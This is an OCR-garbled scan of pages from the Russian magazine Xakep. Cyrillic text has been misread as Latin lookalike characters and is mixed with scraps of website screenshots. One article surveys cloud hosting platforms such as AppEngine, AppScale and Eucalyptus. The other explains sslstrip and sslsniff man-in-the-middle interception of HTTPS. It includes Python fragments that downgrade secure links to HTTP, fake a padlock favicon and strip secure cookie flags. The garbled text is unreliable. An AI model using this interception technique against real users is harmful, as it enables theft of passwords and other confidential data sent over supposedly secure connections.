• Simple Queue Service - CVlCTeMa 04epegerii C006Ll.\eHVlrii
Bce Ha AeC~TKe BVipryailbHblX cepBepOB, Ka)l(Ablrii Vl3 KOTOpblX
gllfl co3gaHVI~ pacnpegelleHHblx npVlllo>t<eHVlrii;
pa60TaeT Ha nape peanbHblX. nO~BileHVle nepsoro cepbe3Horo
• Elastic MapReduce - CVlcreMa 06pa60TKl'l VI aHallVl3a 601lb
VI gocrynHoro cloud-xocTVlHra OT Amazon-a nopOAVlno, no CYTVI,
WVlX 06beMoB gaHHblx Ha 6a3e OTKpblTOrii Apache Hadoop.
l.\enytO VlHAyCTpVltO,
~BVlS
npOCTblM CMepTHblM caMble npo
pOAa ~SilHeTC~ Google AppEngine, KOTOPblrii npeAoCTasn~eT
4TO MHE CTO~T 06JlAKO nOCTPO~Tb?
ABVlHYTble TeXHOilorVlVl. HaVl60nee Vl3seCTHorii cVlcTeMorii TaKoro
~
HeKytO «necoCIHVll.\y», orpaHVl4eHHytO snonHe KOHKpeTHblM
He AyMarii, 4TO 06ilaYHbie Wry4KVl gocrynHbl TOJlbKO TeM, y Koro
API VI CVlCTeMHblMVI cepsVlcaMVI. «nec04HVll.\a» orpaHVl4eHa
MHoro geHer. XOT~ Tbl HegalleK OT VlCTVlHbl, TaK KaK n04TVl Bce
HeCKonbKVlMVI ~3bIKaMVI - ceriiYac 3TO Python VI Java, ogHaKo
KOMnaHVlVI He npeAilaralOT HVl4ero Ha xall5lBY Vl, nonOllb30
pecypcHble orpaHVl4eHVl~ AOCTaT04HO nVl6epailbHbl, 4T06bl Tbl
saBWVlCb cepBVlcOM XOTH 6bl 4ac, Te6e y>t<e npVlgeTc~ nllaTVITb.
eLl.\e Aonro 0 HVIX He gyMail 13aHsneHO, 4TO cepsVlc AocryneH
ECTb npVl~THble VlcKilI04eHVI~, Bpoge Aptana Cloud, rge MO>KHO
XAKEP 05 /125/ 09
•
, . '
cohesiveFn\) assemble. deploy. man~
How GoGrJd Work:;
_
Products
Partners
FAQ
Blago
I~"!~'_~!~~!~ "i ~~~~~~!'d~'~~~W~e.~?~o~omp"hM'I"
onboarding solutions for virtual and cloud computing Elastic Server real-time server assembly factory
UtlLi\HD
~f:-:-~-=:
~
,
'!ft'
~::: ~
customer controlled
~"".dO"d
~I
WIndows oUlringJn the Ooud
• ~1~~:~R::{~::ld Storagt
• ~:~~=~r1~~3~::~"dng
.~ .~i _._--'A1..
VPN-Cubed" ~
start aSSQmbh~ ..
our GUJ or API
'tl'
~i
..
__ ._._._-_._---~~~
Get tile Most Control of Your Cloud Compl4ing JntraS!ructur&
Get Started with Cloud HoStlng
•~.OOCl users h:MI assembled 6,987 VlrNQI EllMlfS as ofAprll6lh, 2009· nlQ16
Live Factory Stats «>ml! lnsldl! and wat<.h the geaa
Around The Watercooler tum .
~&
o~fto
ouu
o"'o~
0,,",10
readlTlOlC!l'leV>'1aboutus CDh;;S~li:FT
~~~lS ~
::;dds f"dc:l"Tt. em.;> 1C:!J
gfl
::.1Hi\'IlU tan add t'fen rM'8 pre.-~il~ ~l ano:! 'IOr'i~. ,patlll(,l yU'.Il (!(,lud rcmPL'!<tl9lf,i'ra'SlrUt:ull'WTfl';OOIll>p:1n.::!l'C1ran.gBQlClOOjUlVtrSCill.
-------=0.
~
~nd
SI!l'\upfO)t GoGllc'loo,l'
CohesiveFT Adds Fedora~ Core 10 to its Automated Elastic Serve~ Platform ...
RAM
fedordftj
tPU
St~<l'J!Sili~e :?~o
'00
Of!
veJ3lOO 10
IlsEI1I.stltS"!'lo... ~f'laliorrl1
Available now on ElastiC Server! -~
"'/11
6e3 epWHaHC08blX 8nO>KeH~~ 8 TeYeH~e 30 AHe~
rAe MO>KHO
nonb308aTbC~ caMO~ ManeHbKO~ 8WPTYanbHO~
nporpaMMaM~
MaW~HKO~.
XOyeWb, ~x MO>KHO nepeHecTV1 ~ Ha Google.
Ho ecn~ Te6e y>Ke He TepnwTC~ YTO
3Kcnep~MeHT~p08aTb
Ha n~TOHe. nOTOM,
C pa3n~YHbIM~
OyeHb npoCT
ecnV1 OyeHb
nax XMPP, REST, JSON.
~
OCH08aH Ha cTaHAapTHblx npoToKo
OHVl AomKHbl pa60TaTb cosepweHHo oA~HaKo
~
paCCKa>Ky a napOYKe npOeKT08, KOTopble n0380
so, HecMoTp~ Ha TO, YTO AppScale on~paeTC~
CaMoe rnasHoe, YTO Hy>KHO nOH~Tb. 06naYHbie
nm 6ecnnaTHO, TO eCTb AapOM, C03AaTb 8 AOMaw
Ha OTKpblTble aHanor~ ryrnoscK~x TexHonor~~
C~CTeMbl
H~X
[Vl He epaKT, YTO SHYTP~ sce pa60TaeT TOYHO
po~ cpeAbl, 8 KOTOPO~ MOryT pa60TaTb KaK 06b1Y
TO nonp0608aTb pa306paTb C80~M~ pyKaMVl, ~
ycn08vmx
aHanor~
Google AppEngine
CHEEiEC HA 3EMJHO - 3TO cpeACTso
HeKOTO
p,n~ nonyYeH~~
~ Amazon EC2.
TaK >Ke]
Hble
KaK Tbl nOMH~Wb. AppEngine - 3TO TaKa~ cpeAa
Ecn~
CK~MV1 OC, TaK ~ l\enble nnaTepopMbl An~ V1cnon
An~ ~cnonHeH~~ nporpaMM [Ha Python-el, rAe
nonp060saTb YTO-TO ell\e, MO>KHO nonblTaTbC~
HeH~~ npV1nO>KeH~~.
TBO~ cKp~m pa60TaeT 8HYTP~ 06naKa 8 cnel\~
nOCTpOV1Tb 06naYHbl~ XOCT~Hr s~PTYanbHblX
Cloud-a ~8n~eTC~ He3a8~CVlMOCTb OT annapaT
MaW~H, TaKO~
HOro 06eCneYeH~~ ~ r~6Ka~ MacwTa6~p08aH
anbHo~ neCOYH~l\e ~ 83a~MoAe~CTByeT
C M~POM
Python Te6~ He YCTpaV1saeT, ~ Tbl XOyeWb
>Ke, KaK y Amazon EC2. B KOTO
8~PTYanbHble
MaW~Hbl
c nonb308aTenb
Ba>KHbIM npe~MYll\eCTSOM
Yepe3 API. Pecypcbl An~ Hero 8bIAen~IOTC~
pOM Tbl
A~HaM~YeCK~ ~
c06CTseHHbie onepal\~OHHble c~CTeMbl ~ T80
MO>KHO cAenaTb. 06blYHO 8 06naKax pa3Mel1\aIOT
OyeHb r~6KO. 3TO ~AeanbHO nOA
~ APY3b~
MOryT
~HCTannVlposaTb
CSOVl
HOCTb,
XOT~
8 3TOM
Hanpa8neH~Vl
ell\e MHoro yero
P~Tb TaM YTO yroAHO. ,D,n~ 3Toro ~cnonb3yeTc~
c~
npoeKT08, TaK Vl p,n~ 6blCTPOro nOCTpoeH~~ 8e6
Apyra~ OTKpbITa~
sblCTpen~T ~n~
np~nO>KeH~~,
YTO cosceM He Aepeso, a Elastic Utility Computing
sce pecypCbl !CPU, 3a Ka>K,D,bl~ r~ra6a~T Tpa
neperpY30K ~ digg-3epepeKTa. OTKpbITa~ peanw
Architecture for Linking Your Programs To Useful
ep~Ka, 3a MecTO 8 xpaHV1n~ll\e] no YaCaM. B 3TOM
3al\Vl~ Ha3bl8aeTC~
Systems. Ecn~ KpaTKO,- 3TO npOMe>KYTOYHa~
OTn~y~e
cpeAa, KOTopa~ pa60TaeT Ha MHO>KeCTSe KOMnblD
oTAaTb cpa3Y 3a MeC~l\. BTOPblM npe~MYll\eCT80M
XOA~T
KaK
An~
pa3nVlYHbiX
~CCneA08aTenbCK~X
TorAa TOYHO MO>KHO He 60~TbC~
AppScale ~ Ha He~ MO>KHO
3anycKaTb Te >Ke caMble nporpaMMbl, YTO
~
8
op~
pa3pa60TKa - EUCALYPTUS,
MonOAble npoeKTbl, KOTopble ell\e ep~r 3HaeT, HeT. n03TOMY nyywe OnnaY~8aTb
OT 06blYHOrO XOCTVlHra, rAe AeHbr~ HaAo
r~HanbHo~ Google-nOAeJlKe.
Tep08 [KnaCTepe] ~ npeAoCTa8n~eT Yepe3 8e6
6YAeT SLA - yposeHb npeAoCTa8neHVl~ cep8~
Ecn~ y Te6~ eCTb MOl1\Hbl~ KOMnbIDTep, Tbl
V1 KOHconb S03MO>KHOCTb 3arpY3~Tb c06CTseHHbl~
ca 06blYHO HaMHoro 8blwe, YeM y cTaHAapTHblX
MO>KeWb pa3BepHYTb TaKylD CWCTeMY Ha HeCKonb
06pa3 8wpTYaJlbHO~ MaW~Hbl ~ ynpa8Jl~Tb ~M,
xocT~Hros,
nonyYa~
HOCT~
K~X S~PTYanbHbIX
Vln~
MaW~Hax, VlMVlT~PY~
KnaCTep,
>Ke npocTO OAOn>K~Tb y APY3e~ HeCKonbKO
TOT
caMbl~
Amazon, TonbKO 6ecnnaT
HO. losopm, YTO Aa>Ke YT~n~Tbl ~ API cTblpeHbl
CVlCTeMH~KOS ~ c06paTb KIlaCTep S OTAenbHO
aHanOrWYHO aMa30HOSCKVlM, n03ToMY nOTpe
83mo~
H~posaTbc~
KOMHaTe. AppScale nOCTasn~eTC~ S S~Ae
y>Ke HaCTpoeHHoro 06pa3a Pbl~ CTaS~TC~
Linux-c~CTeMbl,
KOTO
CHayana MO>KHO Ha
H~X,
a nOTOM
y>Ke nepe~T~ Ha aMa30H, ecnVl CTpawHo Ha06yM
a 06naKo npep,naraeT yposeHb HaAe>K
s 99,999. TaK YTO, OTKa3 n1D60~ ~3 C~CTeM
~n~ Aa>Ke 8cero cepsepa/cTo~K~ H~KaK He ypo H~T T80~ ca~TI Ecn~
He XOyeTC~ 3aMOpaY~SaTbC~
C YCTaH08KO~ onepal\~OHHO~ CV1CTeMbl, 8~PTYa n~3al\~e~ ~ npOY~M~ c~caAM~HcKVlMVl AeTan~M~,
sbl6pacblsaTb CTOnbKO AeHer. KCTaT~, TOT caMbl~
8bI6~pa~
AppScale OTn~YHO pa60TaeT n08epx Eucalyptus-a,
cpa3Y nnaTepopMY Ha T80eM nID6~MOM ~3blKe
YMHblX - pa60TaeT Ha OCHose OTKpblTOro aHanora,
~36asn~~ Te6~
ISbl60p 06blYHO - ~n~ Java ~n~ Python] Tbt
Eucalyptus, 0 KOTOpOM H~>Ke.
C Xen ~ 06pa3aM~. npOCTO 83~n ~ 3anYCT~nl
YYV1Tblsa~. YTO HaAO. KaK M~H~MYM, 4 cepsepa,
Ecn~ HaAO ynpasnmb MHO>KeCTSOM sVlpTYanbHblx
6YAeT He xsaTaTb 06blYHbiX cepsV1cos ~ npVl
a 3HaYV1T, KOMnblDTep AOn>KeH 6blTb MOll\HbIM,
MaWV1H, epOPM~PY~ ~3 HV1X OAHO ~n~ HeCKonbKO
nO>KeH~~, S nepsYID OyepeAb SQL-6a3bt AaHHbIX,
OyeHb >KenaTenbHO - 64-6~THbIM. V1 - n060nbwe
06naK. nonp06y~ ell\e OAHy OTKpblTYID pa3pa
HO KorAa
naM~T~, seAb 4 Xen-a 6YAYT KywaTb pecypcbl
60TKy - Enomalysm Iwwwenomaly.com] 3TO
nO>KeH~~,
c HenoMepHblM anneT~TOMI ,L:\eTanbHa~ VlHCTpyK
nnaTepopMa, n03S0n~lDll\a~ o6beA~H~Tb KaK KOM
a cnOMaTb xpeH KTO cyMeeTI 06naYHbie C~CTe-
L1W~
MepyeCKV1e SVlpTYanbHble MaWVlHbl [VMware,
Mbl, KaK
KVM, Xen V1 APyrV1el, TaK ~ 06naYHbie C~CTeMbl
Aa ~ AO KOHeYHO~ OC T~>KenO A06paTbc~, 8eAb
ca~Te. httpBcode.google.com/p/appscale/wiki/
TV1na Amazon EC2 s 0AVlH 60nbwo~ SV1pTYanbHbl~
TaM MO>KeT 6blTb HecKonbKO yposHe~ 8V1pTYanVl
Deploying AppScale via Xen. EcnVl sce nony
AaTa-l\eHTp, ynpasn~eMbl~ OAHO~ se6-KoHconblD.
3al\~~. MOH~Top~Hra ~ cVlCTeM 6e30nacHOCT~
YV1TC~,
,L:\ocTYn K nnaTepopMe ~3 T80~X np~nO>KeH~~
Inonp0608aTb, SnpOYeM, MO>KHO .. .l. :x:
wnV1 Ha SV1pTYanbHYID MaWV1HY Xen,
V1JlW Ha 6YP>KY~CKOM Amazon EC2, a An~ caMblX
no YCTaHosKe ~ 3anycKy AOCTaTOYHO 06b
eMHa~,
n03ToMY Y~Ta~ ee Ha oep~l\~anbHOM
y Te6~ 6YAeT csoe C06CTBeHHOe 06naKO,
XAKEP 05 /125/ 09
OT He06xoA~MOCT~ XV1MV1YV1Tb
06naYHbie c~CTeMbl, npeAOCTaSn~lDll\we
6YAewb OrpaH~YeH 3apaHee 3aAaHHbiM API, yaCTO
np~sbIKHeWb.
CMO>KeWb AenaTb
KOTOpble 8blAep>KaT
npas~no,
M~nnWOHbl
ropa3AO nyywe
np~ X~T08,
3all\~ll\eHbl,
~
025
sslstril!
.
•
--
~
I ~---
.............. .
.
. .. .
................. .
I
nPHHI..\I.1n AE~CTBH51 SSLSTRIP
AHTOH )l(YKOB / ANTITSTERlilGMAIL.COM /
BCKPblBAEM SSL nepeXBaT AaHHblX B 3al1.U1l1.\eHHbIX COeA~HeH~SlX l!1cnOJlb3y51 Me~Jl, a,o,MlIlHKY lIlJllll ClIlCTeMY 3JleKTpOHHOrO 6aHKlIlHra
,lJ.Jl51 ynpaBJleHlIl51 CBOlllM CyeTOM, Mbl nOJlHOCTbfO ,o,OBep51eMC51 cepBepy.
ECJllll BCe ,o,aHHble nepe,o,afOTC51 no 3aw,1Ilw,eHHoMy SSL-coe,o,lIlHeHlIlfO
o yeM
pa,o,yfKHo co06w,aeT 6pay3ep -
TO 111 6051TbC51 Bpo,o,e 6bl Heyero.
HOTaKJl1ll3TO Ha caMOM ,o,eJle? npOCTa~ ~CT~Ha: nepe,D,aBaTb ,D,aHHble B OTKpbl
TOM B~,D,e -
B nlO6o~ CepTl1epl1KaT BXO,D,~T cne,D,ylOLl.ll1e non~:
He6e30naCHO. B 3TOM cnY4ae OH~
OT CA Certificate, He rapaHTl1pylOT JJer~mM
nerKO MOryr CTaTb ,D,06bI4e~ 3nOYMblwneHH~Ka,
• nonHoe (YHMKanbHoe)
KOTOpOMy He
AenbQa
COCTaB~T
Tpy,D,a nepeXBanlTb,
MO,D,l1epI1L\l1pOBaTb 11 ,D,a)l(e nO,D,MeHI1Tb ~x. BOT
•
n04eMY nOrl1Hbl 11
• AaTa
napon~,
a TaK)I(e ,D,pyrl1e
KOHepl1,D,eHL\~anbHble ,D,aHHble no 06bl4HOMy
MMH Bna
Kn~~
Bna~errbua;
B~AaqH ~M~pOBoro cepTM~H-
BC~
L\en04Ka COCTOI1T 113 CJle,D,YIOLl.lI1X 3BeHbes:
«CA Certificate -
Intermediate CA -
Site
KaTai
Certificate», O,D,HaKO npOMe)l(YT04HbiX CepTI1 epl1KaTOS MO)l(eT 6blTb 6onbwe. TaK I1nl1 I1Haye,
HTTP He nepe,D,aIOTC~. BMeCTO 3Toro I1cnonb3Y
• AaTa OKOHQaHHR AeMCTBMB cepTH ~MKaTa;
Me,D,neHHee, HO 3aTO ynaKoBblBaeT ,D,aHHble
• non Hoe (YHMKanbHoe)
S Kpl1nTOrpaepl14eCKI1~ npOTOKon SSL -
nB
11 Te
HOCTb ca~Ta 11 He BCTpaI1BaIOTC~ B 6paY3ep. nonY4aeTC~, 4TO S'caMOM npOCTOM CJlY4ae
cepTM~HKaTa;
OTKP~TH~
eTC~ 3aLl.ll1Ll.leHHbl~ HTTPS, KOTOPbl~ pa60TaeT
nepe,D,aIOTC~ y)l(e S 3aWI1epposaHHOM SI1,D,e.
nl1CI1 Site Certificate, O,D,HaKO, S OTnl1Yl1e
•
nposepKa nO,D,nVlHHOCT~ ca~Ta oCYLl.leCTBn~eTc~
MMfI H3AaTe
(MCTOqHMKa cepTM¢HKaTa);
~M~poBaB
nOAnMCb
~3AaTenB.
C nOM0Ll.lblO npoCTo~ peKypcl1sHO~ npOL\e,D,ypbl: • CHa4ana npoBep~eTc~, 4T06bl Kpa~HI1~ S L\en04Ke CepTl1epVlKaT 6bln Sblnl1CaH Ha VlM~ ca~Ta, K KOTOpOMy l1,D,eT 06paLl.leHl1e:
ri
KAK YCTPOEH SSL?
nposep~eTC51, He npocp04eH nVl CepTl1epVlKaT;
CYLl.leCTByeT HeCKOnbKO BI1,D,OB CepTl1epI1KaTOS.
•
Anropl1TM pa60Tbi SSL nOCTpoeH Ha I1CnOnb
l-IT06bl y,D,OCTOBepI1TbC~ B nO,D,nI1HHOCTI1 KOH
• S KOHL\e
30SaHI111 napbl aCI1MMeTpl1YHblX KnI04e~.
KpeTHoro ca~Ta, ~cnonb3yeTcfI cneL\~anbHO
KOTOPO~ OH nO,D,nVlcaH.
npOBep51eTC~
nO,D,nVlCb, C nOM0Ll.lblO
OTKPbITbl~ KnlO4 pa3,D,aeTC~ BceM )I(enalOLl.lI1M,
Bbrnl1CaHHbl~ ,D,nfl Hero CepTl1epl1KaT ISite
nO,D,nVlCb MO)l(eT npVlHa,D,ne)l(aTb I1nVl KopHesoMy
11 C ero nOMOLl.lblO Wl1epPYIOTC~ He06xo,D,I1Mble
Certificatel. )J,n~ npOSepKI1 nO,D,nI1HHOCTI1 TaKI1X
CepTl1epVlKaTy, 11 3TO 3Ha411T, 4TO cepmepl1Kary
,D,aHHble, KOTopble ,D,anee MO)l(HO ,D,ewl1epposaTb
CepTl1epl1KaTOS B CBOIO 04epe,D,b CYLl.leCTBYIOT
MO)l(HO
TonbKO C nOM0Ll.lblO 3aKpblToro KnlO4a [OH eCTb
CepTl1epl1KaTbl ljeHTpa CepTl1epl1KaL\l111 ICA
npoMe)l(YT04HoMY cepTl1ep~KaTY. B nOCne,D,HeM
Ha cepsepel. OTKPbITbl~ KnlO4 npe,D,OCTaSnfl eTC~
cepsepOM
Kn~eHry,
npl14eM
Sbl,D,aeTC~
Certificatel: OHI1 06na,D,alOT MaKCI1ManbHblM ,D,OBepl1eM
~ SCTpaI1BaIOTC~
HenOcpe,D,CTBeHHo
100% ,D,Osepmb,
I1nl1 )I(e HeKoTopoMy
cnY4ae He06xo,D,I1MO nO,D,H~TbC~ Ha yposeHb Sblwe 11 SblnonHVlTb nposepKY eLl.le pa3
Ha~,D,eHa nO,D,nl1Cb KOp'
B COCTaBe CepTl1epl1KaTa [nO,D,nI1CbIBaeTC~ Tpe
B 6pay3ep [I1X TanKe Ha3blBalOT KOpHeBbl
11 TaK, noKa He 6y,D,eT
Tbe~ ynonHoM04eHHO~CTOPOHO~ -
MI1 -
HeBoro cepT~ep~KaTa. V1n~ He 6yp,eT, 4TO 03Ha
TaK Ha3bl
Root CAl. nOMI1MO 3TOro, cYLl.leCTBYIOT
saeMblM L\eHTpOM CepTl1epl1KaL\I1I1: certificate
npoMe)l(YT04Hbie CepTl1epl1KaTbl (Intermediate
4aeT: y,D,OCTOSepI1TbC51 S nO,D,nI1HHOCTI1 ca~Ta
authority -
CAl. KOTopble TaK)I(e I1cnonb3YIOTc~ ,D,n~ no,D,
HeS03MO)l(HO.
~
026
CAL
XAKEP 05 /125/ 09
slsniff
-
-
-
I
I
~I-----
I
MAPA60Tbi
SNIFF
SLSNIFF, ~JH1
K BCE HA4~HAJlOCb
_-'::CTZSY1M TaKyKl KapTY1HY: y Hac eCTb KaT AmJ Hawero -
-:::>
ca~Ta xake~.ru;
SleTCSl nOClleAHY1M 3BeHOM B l.\enOYKe
"':=--' CA - Intermediate CA - Intermediate
• CO CBoe~ CTOpOHbl YCTaHaBIlY1Bana 06b1Y
XBaYeHHO~
Hoe HTTPS-coeAV1HeHlo1e C HY)l(HblM cepBepOM
BblnOIlHSleTC~ 3aMeHa «https:!/» Ha <<http://>>,
Y1 BblCTynana cBoe06pa3HO~ npOKce~, CHY1<jJall
a Y1CXOAHa~ Y1 Y13MeHeHHa~ URL 3aHOC~TC~
BeCb Tpa<jJY1K.
B Ta6n Y1l.\y COOTBeTCTBY1~.
Bce, YTO Tpe60BanaCb An~ pa60Tbi - 3TO npeAOCTaBY1Tb sslsniff Ae~CTBY1TenbHbl~
K CO)l(aneHY110, C 2002-ro, KorAa
- - - xakep.ru». nOyeMY 6bl He non PO
cepTV1<jJIo1KaT.
~ cAellaTb CepTY1<jJY1KaT ca~Ta npoMe
6blna ony61llo1KoBaHa YTY1IlY1Ta, 6pay3epbl
. bI
~
Y1 He nOAnY1CaTb C ero nOM0l1.1bKl
ecypc, HanpY1Mep, paypalcom? OBY1~ npOBepKY1 An~ l.\enOYKY1 IRoot
- -=
ntermediate CA -
~;:JnIo1CY1 Bcex CepTY1<jJIo1KaTOB Ae~CTBY1
selE.replaceCssLinks(data)
y)l(e He nOMO)l(eTI
data
selE.replaceSecureFavicon(data)
f:1 npOAOJl>KEH~E
-
iterator = re,finditer(
SSLSTRIP
data, re.IGNORECASE}
HeBO~ CepTY1<jJY1KaT SCTpoeH B 6pay3ep
3aXOTen npOBepY1Tb CBO~ nOYTOBblii 1ll1.1Y1K Gmail. npOCTO Ha6Y1paeWb S aApeCHoii CTpO
CepTY1<jJY1KaT?
- -e Basic Constraints, KOTopoe
onpeAen~eT,
.ZAne)l(Y1T JlY1 OH l.\eHTpy CepTY1<jJY1Kal.\Y1Y1 eT. LITo YAY1BY1TenbHO, AaJleKO He Bce BbICTaBIl~nY1
eMy 3Haye
pepOB Aa)l(e He YTpY)l(AallY1Cb npOBepKO~ 3TOro nOIl~. nOIlYlIaeTC~, Y1Me~
=3}'Kax Ae~CTBY1TenbHbl~
o 6blno C03AaTb Y1 nOAnY1CaTb CepTY1<jJY1 Y1 6pay3e
z)I(e He 3anOA03pY1nY1 6bl HellaAHoe MOTP~
Ha MHOrOYY1ClleHHble
link
= match.group(9)
nonyYaeTCIl, YTO nOllb30BaTeilb nonaAaeT Ha 3al1.1V1l1.1eHHYKl CTpaHY1l.\y AByMIl
nYT~MV1:
KnY1Ka~ Ha cCblnKIo1!KHonKY1 Y1nY1 Yepe3 peAY1 OCYl1.1eCTBIl~eTCSl nocpeAcTBoM 06blYHOro
http-npoToKOna, aero, KaK
II
y)l(e rOBOpV1Il,
nerKO nepeXBaTY1Tb.
iE not link,startswith('http'): logging.debug("Found relative link in secure transmission:
M
link)
+
absoluteLink = ''http://'' + selE.serverHost + link absoluteLink = absoluteLink replace ('&amp;','&')
selE.secureLinkListener. addLink(absoluteLink};
flY1nOBblii CepTY1<jJY1KaT «Ha lleTy» C03AaTb
CepTY1<jJY1KaT,
nn~ nKl60ro APyroro AOMeHa -
He Ha6Y1paeT http://, a y)l( TeM 60nee https:!/.
peKTbl. nepexoA Ha 3al1.1lo1l1.1eHHble pecypcbl
- '" CAcFALSE. 50nee Toro, 60nbWY1HCTBO
for match in iterator:
Ke mail.google.com Y1 nonaAaeWb Ha 32l1.1101 l1.1eHHyKl CTpaHlo1l.\y aBTOpV13al.\Y1Io1. HIo1KTO
oro CepTY1<jJY1KaTa eCTb HenpY1MeTHOe
self,linkExpression,
Lh06bl pa306paTbCIl C APyrY1M cnoco Ha 3al1.1Y1l1.1eHHble CTpaHV1l.\bl. ,[\onycTY1M, Tbl
4Ha nY1Wb 3arB03AKa: KaK )l(e Mbl BblAa
'
3aSlBlleHY1~,
3KcnllyaTY1pOBaTb 3TO HeB03MO)l(HO, pa3 ;; TlIY1K Moxie Marlinsplke ony6nY1KOSan 'lyKl YTY1nY1Ty sslsniff, KOTopa~ peallY1 -".,. sana npOCTYKl aTaKy MITM [Man in the -
data
60M, BCnOMHY1, KaK Mbl 06blYHO nonaAaeM
:-e"ZAzeT nonHblM AOSepY1eM.
-
selE. replaceSecureCookies (data)
He npeHe6peraKlT. YBbl, TaKO~ cnoc06 HaM
b/.
_-3'leHY1~
(self, data) data
0AY1 H CepTY1<jJY1 KaT He npOCpOYeH;
pbl paHee
data = DataShuEfler.replaceSecureLinks
CT21lY1 yMHee Y1 TaKO~ npOBepKO~ 60nbwe
~CTOP~~
- -en eHHbIMY1:
-
deE replaceSecureLinks(self, data):
Intermediate CA
paypal.coml npY1 3TOM OCTaHYTC~
C:J.fU -
CCblllKe Ha 3al1.1Y1l1.1eHHOii pecypc
dle!. nepexsaTblBa~ BeCb Tpa<jJY1K. CMblcn
y)l(e He BbliiAeT. TaK, MO)l(eT, 060iiAeMCIl
return data
BOBce 6e3 CepTY1<jJY1KaTa? 3ayeM ero c03Aa BaTb, eCIlY1 eCTb waHC nepeXBaTY1Tb 3anpoc
KaK TOllbKO KnV1eHT nOCblnaeT 3anpoc
Ha 3al1.1Y1l1.1eHHOe COeAY1HeHY1e C cepBepoM
Ha COeAY1HeHY1e C 3al1.1Y1l1.1eHHbIM URL, Mbl
Y1 3aCTaBY1Tb nonb30BaTellll 06l1.1aTbCIl C HaMY1
nOAcOBblBaeM eMy mtnOBYKl CCbIIlKY, a CaMY1,
no caMoMy 06blYHOMY HTTp? V1MeHHo 3Ta
TeM BpeMeHeM, YCTaHaBnY1BaeM
Y1Ae~
HTTPS-coeAY1HeHY1e, BbJnOIlH~~ 3anpoc
Y1llerna B OCHOBy nporpaMMbl sslstrip,
KOTOpyKl Ha HeAaBHeii KOH<jJepeHI4Y1Y1 Black
HaCTO~l1.1ee
OT CBoero Y1MeHY1. nOIlYYY1B OTBeT OT cepBepa
Hat DC 2009 npeACTaBY11l Bce TOT )l(e xaKep
Y1 onllTb SblnOIlHY1B 3aMeHbi B nY1HKaX, oTAaeM
Moxie Marlinspike.
KOHTeHT nonb30saTellKl no 06blYHOMY HTTP
-pora nepexBaTblBalla KIlY1eHTCKY1e 3anpo
npeAllaraKl paccMoTpeTb ee 60llee nOA
COeAY1HeHY1Kl.
a coeAIo1HeHY1e c 3al1.1Y1l1.1eHHbIM HTTPS
p06HO. nOMY1MO OnY1CaHY1Il, ~ 6YAY npY1
B pe3YllbTaTe nonyYaeTC~ 3aMeyaTenb
OM;
BOAY1Tb He60llbWY1e OTpbIBKY1 Y1CXOAHY1KOB
I-Ia~ KapTY1HKa. CepBepy, OTAaKll1.1eMY BeCb
Ha Python'e. B OCHOBe, on~Tb )l(e, lle)l(Y1T
KOHTeHT no 3al1.1Y1l1.1eHHoMY KaHany, HeT
-= Alo1ncSl K cneAyKll1.1eMy:
caMa c03AaBaila cepTIo1<jJIo1KaT An~ ca~Ta, TOpOMy ~na
KOHHeKTY1TC~
KIlY1eHT, Y1 nOAnlo1
ero C nOM0l1.1bKl y)l(e
"fl>1<jJV1 KaTa;
p 05/1251 09
V1MeIOl1.1erOC~
npY1HI4Y1n MITM, n03BOIl~Kll1.1Y1ii BKnY1HY1TbC~
HY1KaKOrO Aella, OT Koro npY1XOAY1T nOA
Me)l(AY cepBepoM Y1 KJlY1eHTOM,
npOCMaTpY1Ba~
KIlKlyeHY1e, a KnY1eHT He nOllyyaeT HY1KaKvlX
npOXOAIll1.1Y1ii HTTP-Tpa<jJY1K. B Ka)l(AOii nepe-
npeAynpe)l(AeHY1ii Y1 Aa)l(e He nOA03peBaeT,
~
027
4TO Vlcnonb3yeT He3al.l.\Vll.l.\eHHOe coeAVlHeHVle. A Mbl?
A Mbl nepexBaTblBaeM BeCb Tpa<jJVlK :l.
• ~
~
HECKOJlbKO YJlOBOK
YT06bl el.l.\e 60nbwe C03AaTb
warning
Vlnn103VlIO,
4TO Bce 6e30nac
HO, 6YAeM OTCne>KVlBaTb 3anpocbl favicon !3TO VlKOHKa,
• EcnVl BepVlTb pa3
oT06pa>KalOl.l.\a>lC>l B aApecHo~ CTpoKe 6pay3epa Heno
pa6oT4VlKy sslsniff
cpeACTBeHHo nepeA aApecoMI. \11 KorAa nony4aeM TaKO~
Moxie Marlinspike,
3anpoc An>l 3al.l.\Vll.l.\eHHOrO coeAVlHeHYI>l, TO nOACOBblBaeM
HeKOTOpble 6paY3e
YlKOHKy C 3aM04KOM, KOTOpa>l B 06bl4HO ~ cVlryal.\YlVl yKa
Pbl nO-npe>KHeMY
3blBaeT Ha TO, 4TO coeAVlHeHYle OCYl.l.\eCTBn>leTC>l no 6e30
He yTpy>KAalOT ce6>l
nacHoMy KaHany.
npOBepKO~
C03AAH~E nPAB~nA
nOn>!
Basic Constraints.
• BC>l VlHqlOpMal.\Vl>l
self.iconExpression,
npeACTaBneHa VlC
data, re.IGNORECASE)
• C 6e30naCHblMl'I KyKYlCaMYI, KOTopble He nepeAalOT
no He3a I.l.\l'II.l.\eH HOMy COeAl'IHeHYlIO;
for match in iterator:
B cnY4ae Vlcnonb30
link
BaHVl>l ee B npOTVlBO
link. replace ( 'http: / /',
~
• C 6aHallbHO 3aKeWVlpOBaHHblMl'I CTpaHYll.\aMVl, B KOTOpblX
match.group(l)
Mbl He MO>KeM CAenaTb 3aMeHy.
'https: / /')
3aKOHHbiX l.\en>lX
HVl aBTop, HVl peAaK
HTTP-TPA<I><I>~KA
HAnOPT8080
KnlO4VlTenbHO B 03Ha
KOMVlTenbHblX l.\en>lx.
B IPTABLES
AnSI nEPEHAnPABnEH~SI
deE replaceSecureFavicon(selE, data): iterator ~ re.finditer(
KaK 6blTb?
B KyKl'Icax HaM nOTpe6yeTC>l y6Y1paTb <jJnar security bit
if not link.startswith('http://'):
l.\Vl>l OTBeTCTBeH Hocni
link
~
'http://'
+
self.serverHost
+
link
He HecyT.
B none B Set-Cookie, 4T06bl nnlOWKYI CTanl'l nepeAaBaTb C>l no 06bl4HOMy HTTP. OT C>KaTl'I>l KOHTeHTa npl'lAeTC51
self. secureLinkListener. \ addSecureFavicon(link) self. secureLinkListener.addLink (link)
OTKa3aTbC>l, YAanl'lB B xeAepax HTML napaMeTp content encodings [oTK1l104aeM C>KaTl'Iel. a TaK>Ke if-modified since [npYlHYAYlTenbHo 3aCTaBn>leM cepBep OTAaBaTb CTpaHl'Il.\y, Aa>Ke ecnYl Ha He~ He 6blno Yl3MeHeHVl~1.
return data
